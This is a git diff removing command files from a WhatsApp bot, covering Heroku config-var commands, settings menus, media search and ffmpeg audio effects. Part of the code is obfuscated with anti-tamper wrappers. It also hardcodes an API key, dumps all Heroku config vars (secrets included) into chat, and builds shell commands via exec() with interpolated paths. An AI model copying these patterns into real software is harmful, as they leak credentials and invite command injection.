_0xc9d09f=_0x2cf381,{ms:_0x58a77f,repondre:_0x2ce9fc,superUser:_0x57592f,arg:_0x51f6ea}=_0x222e7f;if(!_0x57592f){_0x2ce9fc(_0xc9d09f(0x1a5));return;};if(s[_0xc9d09f(0x1af)]==null||s[_0xc9d09f(0x19c)]==null){_0x2ce9fc('Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables');return;};if(!_0x51f6ea[0x0]){_0x2ce9fc(_0xc9d09f(0x194));return;};try{const _0xc2d1ce=require('heroku-client'),_0x2a0369=new _0xc2d1ce({'token':s['HEROKU_APY_KEY']});let _0x46c7e7='/apps/'+s[_0xc9d09f(0x1af)],_0x4aa13d=await _0x2a0369[_0xc9d09f(0x187)](_0x46c7e7+_0xc9d09f(0x1ad));for(vr in _0x4aa13d){if(_0x51f6ea['join']('\x20')===vr)return _0x2ce9fc(vr+'=\x20'+_0x4aa13d[vr]);}}catch(_0x13d485){_0x2ce9fc(_0xc9d09f(0x1ae)+_0x13d485);}}),adams({'nomCom':_0x2cf381(0x18d),'categorie':_0x2cf381(0x1c6),'description':_0x2cf381(0x188)},async(_0x20c0fc,_0x21dcce,_0x4ddcd7)=>{const _0xb18a95=_0x2cf381,{ms:_0x5f2fa3,repondre:_0x3e9d56,superUser:_0x2eab65,auteurMessage:_0x5db4c6}=_0x4ddcd7;if(!_0x2eab65){_0x3e9d56('command\x20reserved\x20for\x20bot\x20owner');return;};let _0x40730a=[{'nom':'AUTO_READ_STATUS','choix':['yes','no']},{'nom':_0xb18a95(0x1b3),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x182),'choix':['yes','no']},{'nom':_0xb18a95(0x1c5),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x1cb),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x17e),'choix':['1','2','3']}];function _0x46b434(_0x2a7b5a,_0x1792dc){const _0x524294=_0xb18a95;if(_0x2a7b5a[_0x524294(0x1ba)]<_0x1792dc[_0x524294(0x1ba)])return-0x1;if(_0x2a7b5a[_0x524294(0x1ba)]>_0x1792dc[_0x524294(0x1ba)])return 0x1;return 0x0;}_0x40730a['sort'](_0x46b434);let _0x9b282b=_0xb18a95(0x19a);for(v=0x0;v<_0x40730a['length'];v++){_0x9b282b+=v+0x1+_0xb18a95(0x185)+_0x40730a[v][_0xb18a95(0x1ba)]+'*\x0a';}_0x9b282b+=_0xb18a95(0x19d);let _0x4f5c13=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x9b282b},{'quoted':_0x5f2fa3});console[_0xb18a95(0x1a4)](_0x4f5c13);let _0x1b5321=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x264053=>_0x264053['message']['extendedTextMessage']&&_0x264053['message'][_0xb18a95(0x1b0)][_0xb18a95(0x17d)]['stanzaId']==_0x4f5c13['key']['id']&&_0x264053[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x264053[_0xb18a95(0x1b4)]['extendedTextMessage'][_0xb18a95(0x177)]<=_0x40730a[_0xb18a95(0x1ab)]}),_0x55093c=_0x1b5321['message'][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1,{nom:_0x4ebc57,choix:_0x3f2d7c}=_0x40730a[_0x55093c],_0x1de135=_0xb18a95(0x179);_0x1de135+='*Name*\x20:'+_0x4ebc57+'\x0a',_0x1de135+=_0xb18a95(0x1a8)+getDescriptionFromEnv(_0x4ebc57)+'\x0a\x0a',_0x1de135+='┌──────\x20⋆⋅☆⋅⋆\x20──────┐\x0a\x0a';for(i=0x0;i<_0x3f2d7c[_0xb18a95(0x1ab)];i++){_0x1de135+='*\x20*'+(i+0x1)+_0xb18a95(0x198)+_0x3f2d7c[i]+'\x0a';}_0x1de135+=_0xb18a95(0x18c);let _0x1e2745=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x1de135},{'quoted':_0x1b5321}),_0x31adfe=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x49d419=>_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)]&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x17d)][_0xb18a95(0x190)]==_0x1e2745[_0xb18a95(0x1b6)]['id']&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x49d419['message'][_0xb18a95(0x1b0)]['text']<=_0x3f2d7c['length']}),_0x516d56=_0x31adfe[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1;if(s[_0xb18a95(0x1c0)]=='no')try{const _0x50b364=dotenv[_0xb18a95(0x18f)](fs[_0xb18a95(0x189)]('set.env',{'encoding':_0xb18a95(0x191)}));_0x50b364[_0x4ebc57]=_0x3f2d7c[_0x516d56];const _0x11753b=Object[_0xb18a95(0x1b2)](_0x50b364)['map'](_0x5ea4c4=>_0x5ea4c4+'='+_0x50b364[_0x5ea4c4])['join']('\x0a');fs[_0xb18a95(0x1a2)](_0xb18a95(0x17f),_0x11753b),_0x3e9d56(_0xb18a95(0x1be));const {exec:_0x4f66a0}=require(_0xb18a95(0x1b7));_0x4f66a0(_0xb18a95(0x19f));}catch(_0x5dda05){console[_0xb18a95(0x1b5)](_0x5dda05),_0x3e9d56('Error');}else{if(s['HEROKU_APP_NAME']==null||s[_0xb18a95(0x19c)]==null){_0x3e9d56(_0xb18a95(0x1bf));return;};const _0x5e9d97=require('heroku-client'),_0xf9f99f=new _0x5e9d97({'token':s[_0xb18a95(0x19c)]});let _0x1dff2a=_0xb18a95(0x196)+s[_0xb18a95(0x1af)];await _0xf9f99f[_0xb18a95(0x193)](_0x1dff2a+_0xb18a95(0x1ad),{'body':{[_0x4ebc57]:_0x3f2d7c[_0x516d56]}}),await _0x3e9d56(_0xb18a95(0x18b));}});function changevars(_0x392d30,_0x5ddc3d){const _0x52b59d=_0x2cf381,_0x37c354=(function(){let _0x28c539=!![];return function(_0x35c50c,_0x195e11){const _0x47cdc5=_0x28c539?function(){if(_0x195e11){const _0x2ec45b=_0x195e11['apply'](_0x35c50c,arguments);return _0x195e11=null,_0x2ec45b;}}:function(){};return _0x28c539=![],_0x47cdc5;};}()),_0x509e52=_0x37c354(this,function(){const _0x2259ba=_0x5ac8;return _0x509e52[_0x2259ba(0x1a3)]()[_0x2259ba(0x18e)](_0x2259ba(0x19e))['toString']()[_0x2259ba(0x1c1)](_0x509e52)['search'](_0x2259ba(0x19e));});_0x509e52(),adams({'nomCom':_0x392d30,'categorie':_0x52b59d(0x1c6)},async(_0x510a4d,_0x1b363c,_0x32a845)=>{const _0x2aa192=_0x52b59d,{arg:_0x1162a2,superUser:_0x208224,repondre:_0x48da79}=_0x32a845;if(!_0x208224){_0x48da79(_0x2aa192(0x1bc));return;};if(!_0x1162a2[0x0]){_0x48da79(getDescriptionFromEnv(_0x5ddc3d));return;};if(s['HEROKU']=='no')try{const _0x12db67=dotenv['parse'](fs['readFileSync'](_0x2aa192(0x17f),{'encoding':_0x2aa192(0x191)}));_0x12db67[_0x5ddc3d]=_0x1162a2[_0x2aa192(0x17a)]('\x20');const _0x3f191f=Object[_0x2aa192(0x1b2)](_0x12db67)[_0x2aa192(0x1c9)](_0x17d304=>_0x17d304+'='+_0x12db67[_0x17d304])['join']('\x0a');fs['writeFileSync'](_0x2aa192(0x17f),_0x3f191f),_0x48da79(_0x2aa192(0x1be));const {exec:_0x4fa49e}=require('child_process');_0x4fa49e(_0x2aa192(0x19f));}catch(_0x2830eb){console[_0x2aa192(0x1a4)](_0x2830eb),_0x48da79(_0x2aa192(0x1ae));}else{if(s[_0x2aa192(0x1af)]==null||s[_0x2aa192(0x19c)]==null){_0x48da79(_0x2aa192(0x1bf));return;};const _0x4e9f34=require(_0x2aa192(0x1c3)),_0x15a11c=new _0x4e9f34({'token':s[_0x2aa192(0x19c)]});let _0x3059d5='/apps/'+s[_0x2aa192(0x1af)];await _0x15a11c['patch'](_0x3059d5+_0x2aa192(0x1ad),{'body':{[_0x5ddc3d]:_0x1162a2[_0x2aa192(0x17a)]('\x20')}}),await _0x48da79(_0x2aa192(0x18b));}});};changevars(_0x2cf381(0x1a0),'PREFIX'),changevars('linkmenu',_0x2cf381(0x1c4)),changevars(_0x2cf381(0x178),_0x2cf381(0x18a)),changevars('botname',_0x2cf381(0x1a7));
-
-/**const {
- adams
-} = require("../Ibrahim/adams");
-const s = require("../config");
-const fs = require('fs');
-const dotenv = require("dotenv");
-function getDescriptionFromEnv(_0x24f7af) {
- filePath = './app.json';
- const _0x4c6300 = fs.readFileSync(filePath, "utf-8");
- const _0x4f2dfc = JSON.parse(_0x4c6300);
- const _0x3b08a6 = _0x4f2dfc.env[_0x24f7af];
- return _0x3b08a6 && _0
- x3b08a6.description ? _0x3b08a6.description : "The environment variable description was not found.";
-}
-adams({
- 'nomCom': "setvar",
- 'categorie': "heroku",
- 'description': "set a heroku var"
-}, async (_0x2023f8, _0x449747, _0x5c07a0) => {
- const {
- ms: _0x2791a3,
- repondre: _0x1e059c,
- superUser: _0xf264c9,
- arg: _0x44e695
- } = _0x5c07a0;
- if (!_0xf264c9) {
- _0x1e059c("only Mods can use this commande");
- return;
- }
- ;
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x1e059c("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- if (!_0x44e695[0x0] || !_0x44e695.join('').split('=')) {
- _0x1e059c("Bad format ; Exemple of using :\nsetvar OWNER_NAME=Ibrahim Adams");
- return;
- }
- ;
- const _0x1aca38 = _0x44e695.join(" ");
- const _0x45f36d = require("heroku-client");
- const _0x1c95a5 = new _0x45f36d({
- 'token': s.HEROKU_APY_KEY
- });
- let _0x273a62 = "/apps/" + s.HEROKU_APP_NAME;
- await _0x1c95a5.patch(_0x273a62 + "/config-vars", {
- 'body': {
- [_0x1aca38.split('=')[0x0]]: _0x1aca38.split('=')[0x1]
- }
- });
- await _0x1e059c("Heroku vars are rebooting , Redeploying....");
-});
-adams({
- 'nomCom': "getallvar",
- 'categorie': "heroku",
- 'description': "get all heroku vars"
-}, async (_0x11487a, _0x3ebb5c, _0x482621) => {
- const {
- ms: _0xdcc0da,
- repondre: _0x384994,
- superUser: _0x51f7b4,
- arg: _0x3a3bce
- } = _0x482621;
- if (!_0x51f7b4) {
- _0x384994("only mods can use this commande");
- return;
- }
- ;
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x384994("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- const _0x51bc18 = require("heroku-client");
- const _0xdce404 = new _0x51bc18({
- 'token': s.HEROKU_APY_KEY
- });
- let _0xbd8a38 = '/apps/' + s.HEROKU_APP_NAME;
- let _0x47049d = await _0xdce404.get(_0xbd8a38 + '/config-vars');
- let _0xaaeb86 = "*Heroku Vars list *\n\n";
- for (vr in _0x47049d) {
- _0xaaeb86 += "🚘 *" + vr + "* " + "= " + _0x47049d[vr] + "\n";
- }
- _0x384994(_0xaaeb86);
-});
-adams({
- 'nomCom': "getvar",
- 'categorie': "heroku",
- 'description': "get a heroku var"
-}, async (_0x4c604f, _0x38bdcd, _0x5f598) => {
- const {
- ms: _0x5d32f6,
- repondre: _0x57426b,
- superUser: _0x44ab9d,
- arg: _0x2132ad
- } = _0x5f598;
- if (!_0x44ab9d) {
- _0x57426b("Only Mods can use this command");
- return;
- }
- ;
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x57426b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- if (!_0x2132ad[0x0]) {
- _0x57426b("insert the variable name in capital letter");
- return;
- }
- ;
- try {
- const _0x13a40b = require("heroku-client");
- const _0x26609d = new _0x13a40b({
- 'token': s.HEROKU_APY_KEY
- });
- let _0x551c10 = "/apps/" + s.HEROKU_APP_NAME;
- let _0x3c5941 = await _0x26609d.get(_0x551c10 + "/config-vars");
- for (vr in _0x3c5941) {
- if (_0x2132ad.join(" ") === vr) {
- return _0x57426b(vr + "= " + _0x3c5941[vr]);
- }
- }
- } catch (_0x4d48ad) {
- _0x57426b("Error" + _0x4d48ad);
- }
-});
-adams({
- 'nomCom': "settings",
- 'categorie': "Heroku",
- 'description': "edit settings of the bot"
-}, async (_0x22a90b, _0x3a0b49, _0xb0bac1) => {
- const {
- ms: _0x1778e3,
- repondre: _0x20e24a,
- superUser: _0x1d63b6,
- auteurMessage: _0x3dfda8
- } = _0xb0bac1;
- if (!_0x1d63b6) {
- _0x20e24a("command reserved for bot owner");
- return;
- }
- ;
- let _0x3d9ece = [{
- 'nom': "AUTO_READ_STATUS",
- 'choix': ["yes", 'no']
- }, {
- 'nom': 'AUTO_DOWNLOAD_STATUS',
- 'choix': ["yes", 'no']
- }, {
- 'nom': "PM_PERMIT",
- 'choix': ["yes", 'no']
- }, {
- 'nom': 'PUBLIC_MODE',
- 'choix': ["yes", 'no']
- }, {
- 'nom': "STARTING_BOT_MESSAGE",
- 'choix': ["yes", 'no']
- }, {
- 'nom': "PRESENCE",
- 'choix': ['1', '2', '3']
- }];
- function _0x46a4bd(_0x4eea55, _0x2c10b0) {
- if (_0x4eea55.nom < _0x2c10b0.nom) {
- return -0x1;
- }
- if (_0x4eea55.nom > _0x2c10b0.nom) {
- return 0x1;
- }
- return 0x0;
- }
- _0x3d9ece.sort(_0x46a4bd);
- let _0x19af99 = " *BMW VAR SETTINGS* \n\n";
- for (v = 0x0; v < _0x3d9ece.length; v++) {
- _0x19af99 += v + 0x1 + "- *" + _0x3d9ece[v].nom + "*\n";
- }
- _0x19af99 += "\nChoose a variable by replying its number";
- let _0x4f6bef = await _0x3a0b49.sendMessage(_0x22a90b, {
- 'text': _0x19af99
- }, {
- 'quoted': _0x1778e3
- });
- console.log(_0x4f6bef);
- let _0x58a466 = await _0x3a0b49.awaitForMessage({
- 'chatJid': _0x22a90b,
- 'sender': _0x3dfda8,
- 'timeout': 0xea60,
- 'filter': _0x11b80a => _0x11b80a.message.extendedTextMessage && _0x11b80a.message.extendedTextMessage.contextInfo.stanzaId == _0x4f6bef.key.id && _0x11b80a.message.extendedTextMessage.text > 0x0 && _0x11b80a.message.extendedTextMessage.text <= _0x3d9ece.length
- });
- let _0x69d604 = _0x58a466.message.extendedTextMessage.text - 0x1;
- let {
- nom: _0x578334,
- choix: _0x25f0c4
- } = _0x3d9ece[_0x69d604];
- let _0x258a95 = " *BMW VAR SETTINGS* \n\n";
- _0x258a95 += "*Name* :" + _0x578334 + "\n";
- _0x258a95 += "*Description* :" + getDescriptionFromEnv(_0x578334) + "\n\n";
- _0x258a95 += "┌────── ⋆⋅☆⋅⋆ ──────┐\n\n";
- for (i = 0x0; i < _0x25f0c4.length; i++) {
- _0x258a95 += "* *" + (i + 0x1) + "* => " + _0x25f0c4[i] + "\n";
- }
- _0x258a95 += "\n└────── ⋆⋅☆⋅⋆ ──────┘\n\nPlease reply on message with the number corresponding to your choice";
- let _0x5d441e = await _0x3a0b49.sendMessage(_0x22a90b, {
- 'text': _0x258a95
- }, {
- 'quoted': _0x58a466
- });
- let _0x3e7e0b = await _0x3a0b49.awaitForMessage({
- 'chatJid': _0x22a90b,
- 'sender': _0x3dfda8,
- 'timeout': 0xea60,
- 'filter': _0x48d8f3 => _0x48d8f3.message.extendedTextMessage && _0x48d8f3.message.extendedTextMessage.contextInfo.stanzaId == _0x5d441e.key.id && _0x48d8f3.message.extendedTextMessage.text > 0x0 && _0x48d8f3.message.extendedTextMessage.text <= _0x25f0c4.length
- });
- let _0x49e163 = _0x3e7e0b.message.extendedTextMessage.text - 0x1;
- if (s.HEROKU == 'no') {
- try {
- const _0x453ea5 = dotenv.parse(fs.readFileSync("set.env", {
- 'encoding': "utf-8"
- }));
- _0x453ea5[_0x578334] = _0x25f0c4[_0x49e163];
- const _0x41e94f = Object.keys(_0x453ea5).map(_0x2b690f => _0x2b690f + '=' + _0x453ea5[_0x2b690f]).join("\n");
- fs.writeFileSync('set.env', _0x41e94f);
- _0x20e24a("variable refresh\n restart in progress....");
- const {
- exec: _0x563f2e
- } = require('child_process');
- _0x563f2e("pm2 restart all");
- } catch (_0x284a0c) {
- console.error(_0x284a0c);
- _0x20e24a("Error");
- }
- } else {
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x20e24a("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- const _0x16064c = require("heroku-client");
- const _0x521885 = new _0x16064c({
- 'token': s.HEROKU_APY_KEY
- });
- let _0x16e01d = "/apps/" + s.HEROKU_APP_NAME;
- await _0x521885.patch(_0x16e01d + "/config-vars", {
- 'body': {
- [_0x578334]: _0x25f0c4[_0x49e163]
- }
- });
- await _0x20e24a("variable refresh, restart in progress....");
- }
-});
-function changevars(_0xa41969, _0x294fac) {
- const _0x4aa666 = function () {
- let _0x51e0de = true;
- return function (_0x2c9b6c, _0x4697d1) {
- const _0x222c97 = _0x51e0de ? function () {
- if (_0x4697d1) {
- const _0x477879 = _0x4697d1.apply(_0x2c9b6c, arguments);
- _0x4697d1 = null;
- return _0x477879;
- }
- } : function () {};
- _0x51e0de = false;
- return _0x222c97;
- };
- }();
- const _0x1c8bcf = _0x4aa666(this, function () {
- return _0x1c8bcf.toString().search("(((.+)+)+)+$").toString().constructor(_0x1c8bcf).search("(((.+)+)+)+$");
- });
- _0x1c8bcf();
- adams({
- 'nomCom': _0xa41969,
- 'categorie': 'Heroku'
- }, async (_0x5b3184, _0x3c2192, _0x393619) => {
- const {
- arg: _0x3d776c,
- superUser: _0x6330e9,
- repondre: _0x3a1f2b
- } = _0x393619;
- if (!_0x6330e9) {
- _0x3a1f2b("command reserved for bot owner");
- return;
- }
- ;
- if (!_0x3d776c[0x0]) {
- _0x3a1f2b(getDescriptionFromEnv(_0x294fac));
- return;
- }
- ;
- if (s.HEROKU == 'no') {
- try {
- const _0x429fb4 = dotenv.parse(fs.readFileSync("set.env", {
- 'encoding': 'utf-8'
- }));
- _0x429fb4[_0x294fac] = _0x3d776c.join(" ");
- const _0x322480 = Object.keys(_0x429fb4).map(_0xbf932e => _0xbf932e + '=' + _0x429fb4[_0xbf932e]).join("\n");
- fs.writeFileSync('set.env', _0x322480);
- _0x3a1f2b("variable refresh\n restart in progress....");
- const {
- exec: _0x7de845
- } = require("child_process");
- _0x7de845("pm2 restart all");
- } catch (_0x2781b7) {
- console.log(_0x2781b7);
- _0x3a1f2b('Error');
- }
- } else {
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x3a1f2b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- const _0x537e4b = require("heroku-client");
- const _0x110661 = new _0x537e4b({
- 'token': s.HEROKU_APY_KEY
- });
- let _0xc67a29 = "/apps/" + s.HEROKU_APP_NAME;
- await _0x110661.patch(_0xc67a29 + "/config-vars", {
- 'body': {
- [_0x294fac]: _0x3d776c.join(" ")
- }
- });
- await _0x3a1f2b("variable refresh, restart in progress....");
- }
- });
-}
-;
-changevars("setprefix", "PREFIX");
-changevars("linkmenu", "BOT_MENU_LINKS");
-changevars("warncount", "WARN_COUNT");
-changevars("botname", "BOT_NAME");**/
diff --git a/scs/bmwi.js b/scs/bmwi.js
deleted file mode 100644
index c03482b..0000000
--- a/scs/bmwi.js
+++ /dev/null
@@ -1,215 +0,0 @@
-
-const axios = require("axios");
-const {adams} = require("../Ibrahim/adams");
-const traduire = require("../Ibrahim/traduction");
-const {Sticker ,StickerTypes}= require('wa-sticker-formatter');
-
-adams({
- nomCom: "randompic",
- categorie: "Fun",
- reaction: "📺"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const jsonURL = "https://api.jikan.moe/v4/random/anime"; // Remplacez par votre URL JSON
-
- try {
- const response = await axios.get(jsonURL);
- const data = response.data.data;
-
- const title = data.title;
- const synopsis = data.synopsis;
- const imageUrl = data.images.jpg.image_url; // Utilisez l'URL de l'image JPG
- const episodes = data.episodes;
- const status = data.status;
-
- //const texttraduit = await traduire(synopsis,{ to: 'fr' })
-
- const message = `📺 Titre: ${title}\n🎬 Épisodes: ${episodes}\n📡 Statut: ${status}\n📝 Synopsis: ${synopsis}\n🔗 URL: ${data.url}`;
-
- // Envoyer l'image et les informations
- zk.sendMessage(origineMessage, { image: { url: imageUrl }, caption: message }, { quoted: ms });
- } catch (error) {
- console.error('Error retrieving data from JSON :', error);
- repondre('Error retrieving data from JSON.');
- }
-});
-
-adams({
- nomCom: "google2",
- categorie: "Search"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre } = commandeOptions;
-
- if (!arg[0] || arg === "") {
- repondre("Give me a query.\n*Example: .google What is a bot.*");
- return;
- }
-
- const google = require('google-it');
- try {
- const results = await google({ query: arg.join(" ") });
- let msg = `Google search for : ${arg}\n\n`;
-
- for (let result of results) {
- msg += `➣ Title : ${result.title}\n`;
- msg += `➣ Description : ${result.snippet}\n`;
- msg += `➣ Link : ${result.link}\n\n────────────────────────\n\n`;
- }
-
- // const trdmsg = await traduire(msg,{to : 'fr'})
- repondre(msg);
- } catch (error) {
- repondre("An error occurred during Google search.");
- }
-});
-
-adams({
- nomCom: "imdb2",
- categorie: "Search"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre , ms } = commandeOptions;
-
- if (!arg[0] || arg === "") {
- repondre("give the name of a series or film.");
- return;
- }
-
- try {
-
- const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
- const imdbData = response.data;
-
- let imdbInfo = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n";
- imdbInfo += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n";
- imdbInfo += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n";
- imdbInfo += "🎬Title : " + imdbData.Title + "\n";
- imdbInfo += "📅year : " + imdbData.Year + "\n";
- imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
- imdbInfo += "📆Release : " + imdbData.Released + "\n";
- imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
- imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
- imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
- imdbInfo += "✍writers : " + imdbData.Writer + "\n";
- imdbInfo += "👨actors : " + imdbData.Actors + "\n";
- imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
- imdbInfo += "🌐Language : " + imdbData.Language + "\n";
- imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
- imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
- imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
- imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
- imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
- imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
-
- zk.sendMessage(dest, {
- image: {
- url: imdbData.Poster,
- },
- caption: imdbInfo,
- }, {
- quoted: ms,
- });
- } catch (error) {
- repondre("An error occurred while searching IMDb.");
- }
-});
-
-adams({
- nomCom: "series",
- categorie: "Search"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre , ms } = commandeOptions;
-
- if (!arg[0] || arg === "") {
- repondre("give the name of a series or film.");
- return;
- }
-
- try {
-
- const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
- const imdbData = response.data;
-
- let imdbInfo = "Tap on the link to join movie channel on telegram and download movies there : https://t.me/ibrahimtechai\n";
- imdbInfo += " ``` BMW MD FILMS```\n";
- imdbInfo += "*Made by Ibrahim Adams*\n";
- imdbInfo += "🎬Title : " + imdbData.Title + "\n";
- imdbInfo += "📅year : " + imdbData.Year + "\n";
- imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
- imdbInfo += "📆Release : " + imdbData.Released + "\n";
- imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
- imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
- imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
- imdbInfo += "✍writers : " + imdbData.Writer + "\n";
- imdbInfo += "👨actors : " + imdbData.Actors + "\n";
- imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
- imdbInfo += "🌐Language : " + imdbData.Language + "\n";
- imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
- imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
- imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
- imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
- imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
- imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
-
- zk.sendMessage(dest, {
- image: {
- url: imdbData.Poster,
- },
- caption: imdbInfo,
- }, {
- quoted: ms,
- });
- } catch (error) {
- repondre("An error occurred while searching IMDb.");
- }
-});
-
-adams({
- nomCom: "emoji",
- categorie: "Conversion"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre,ms , nomAuteurMessage } = commandeOptions;
-
- if (!arg[0] || arg.length !== 1) {
- repondre("Incorrect use. Example: .emojimix 😀;🥰");
- return;
- }
-
- // Divisez la chaîne en deux emojis en utilisant le point-virgule comme séparateur
- const emojis = arg.join(' ').split(';');
-
- if (emojis.length !== 2) {
- repondre("Please specify two emojis using a ';' as a separator.");
- return;
- }
-
- const emoji1 = emojis[0].trim();
- const emoji2 = emojis[1].trim();
-
- try {
- const axios = require('axios');
- const response = await axios.get(`https://levanter.onrender.com/emix?q=${emoji1}${emoji2}`);
-
- if (response.data.status === true) {
- // Si la requête a réussi, envoyez l'image résultante
-
- let stickerMess = new Sticker(response.data.result, {
- pack: nomAuteurMessage,
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms });
-
- } else {
- repondre("Unable to create emoji mix.");
- }
- } catch (error) {
- repondre("An error occurred while creating the emoji mix." + error );
- }
-});
-
diff --git a/scs/bmwj.js b/scs/bmwj.js
deleted file mode 100644
index 5fccde8..0000000
--- a/scs/bmwj.js
+++ /dev/null
@@ -1,280 +0,0 @@
-const {adams} = require('../Ibrahim/adams');
-const fs = require("fs");
-const { exec } = require("child_process");
-
-
-const filename = `${Math.random().toString(36)}`;
-
-adams (
- {
- nomCom : 'deep',
- categorie : 'Audio-Edit',
-
- }, async (dest , zk, commandeOptions) => {
- const {ms , repondre,msgRepondu} = commandeOptions;
-
- if (msgRepondu) {
- if(msgRepondu.audioMessage) {
-
- const media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
-
- let set = "-af atempo=4/4,asetrate=44500*2/3";
- let ran = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => {
- fs.unlinkSync(media);
- if (err) return repondre("error during the procedure " + err );
-
- let buff1 = fs.readFileSync(ran);
-
- zk.sendMessage(
- dest,
- { audio: buff1, mimetype: "audio/mpeg" },
- { quoted: ms }
- );
- fs.unlinkSync(ran);
- });
- } catch (e) {
-
- repondre("error");
- }
-
- } else {
- repondre('the command only works with audio messages')
- }
-
- } else {
- repondre('Please mention an audio')
- }
- }
-);
-
-adams (
- {
- nomCom : 'bass',
- categorie : 'Audio-Edit',
-
- }, async (dest , zk, commandeOptions) => {
- const {ms , repondre,msgRepondu} = commandeOptions;
-
- if (msgRepondu) {
- if(msgRepondu.audioMessage) {
-
- const media2 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
-
- let set2 = "-af equalizer=f=18:width_type=o:width=2:g=14";
- let ran2 = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media2} ${set2} ${ran2}`, (err, stderr, stdout) => {
- fs.unlinkSync(media2);
- if (err) return repondre("error during the procedure " + err );
-
- let buff2 = fs.readFileSync(ran2);
-
- zk.sendMessage(
- dest,
- { audio: buff2, mimetype: "audio/mpeg" },
- { quoted: ms }
- );
- fs.unlinkSync(ran2);
- });
- } catch (e) {
-
- repondre("error");
- }
-
- } else {
- repondre('the command only works with audio messages')
- }
-
- } else {
- repondre('Please mention an audio')
- }
- }
-);
-
-adams(
- {
- nomCom: 'reverse',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const media3 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let set3 = '-filter_complex "areverse"';
- let ran3 = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media3} ${set3} ${ran3}`, (err, stderr, stdout) => {
- fs.unlinkSync(media3);
- if (err) return repondre("error during the procedure" + err);
-
- let buff3 = fs.readFileSync(ran3);
-
- zk.sendMessage(dest, { audio: buff3, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ran3);
- });
- } catch (e) {
